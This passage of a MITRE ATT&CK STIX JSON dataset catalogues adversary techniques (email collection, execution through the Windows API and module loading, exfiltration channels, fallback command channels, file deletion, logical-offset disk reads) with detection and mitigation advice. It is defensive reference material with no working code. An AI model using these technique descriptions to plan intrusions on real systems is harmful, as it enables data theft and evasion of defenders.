                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "DLL monitoring",
                "Process Monitoring",
                "Windows Registry",
                "Windows event logs"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Email Collection Mitigation",
            "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1114",
                    "external_id": "T1114"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
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            "type": "attack-pattern",
            "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:25.454Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Email Collection",
            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
            "kill_chain_phases": [
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                    "phase_name": "collection"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1114",
                    "external_id": "T1114"
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                "Process monitoring",
                "Process use of network"
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Execution through API Mitigation",
            "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1106",
                    "external_id": "T1106"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:17.472Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1106",
                    "external_id": "T1106"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425"
                },
                {
                    "source_name": "Kanthak Verifier",
                    "description": "Kanthak, S. (2017). Application Verifier Provider. Retrieved February 13, 2017.",
                    "url": "https://skanthak.homepage.t-online.de/verifier.html"
                }
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Execution through Module Load Mitigation",
            "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1129",
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
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                    "external_id": "T1129"
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                {
                    "source_name": "Wikipedia Windows Library Files",
                    "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.",
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        {
            "type": "course-of-action",
            "id": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Exfiltration Over Alternative Protocol Mitigation",
            "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "external_id": "T1048"
                },
                {
                    "source_name": "TechNet Firewall Design",
                    "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:44.720Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Exfiltration Over Alternative Protocol",
            "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "x_mitre_version": "1.0"
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            "type": "course-of-action",
            "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Exfiltration Over Command and Control Channel Mitigation",
            "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:41.804Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Exfiltration Over Command and Control Channel",
            "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "x_mitre_domains": [
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        },
        {
            "type": "attack-pattern",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:25.159Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Exfiltration Over Other Network Medium",
            "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1011",
                    "external_id": "T1011"
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                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
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            "created": "2018-01-17T12:56:55.080Z",
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            "name": "Extra Window Memory Injection Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                },
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                    "source_name": "Microsoft GetWindowLong function",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
                },
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                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
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                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
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                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:21.689Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Fallback Channels",
            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
            "kill_chain_phases": [
                {
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                    "phase_name": "command-and-control"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1008",
                    "external_id": "T1008"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_platforms": [
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            "type": "course-of-action",
            "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File Deletion Mitigation",
            "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1107",
                    "external_id": "T1107"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "x_mitre_domains": [
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            "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:17.915Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
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                    "phase_name": "defense-evasion"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1107",
                    "external_id": "T1107"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
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            ],
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            "x_mitre_data_sources": [
                "Binary file metadata",
                "File monitoring",
                "Process command-line parameters"
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            "x_mitre_platforms": [
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                "Windows",
                "macOS"
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            "x_mitre_defense_bypassed": [
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            "x_mitre_permissions_required": [
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            "type": "course-of-action",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File System Logical Offsets Mitigation",
            "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1006",
                    "external_id": "T1006"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "x_mitre_domains": [
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        },
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            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:20.934Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File System Logical Offsets",
            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1006",
                    "external_id": "T1006"
                },
                {
                    "source_name": "Hakobyan 2009",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
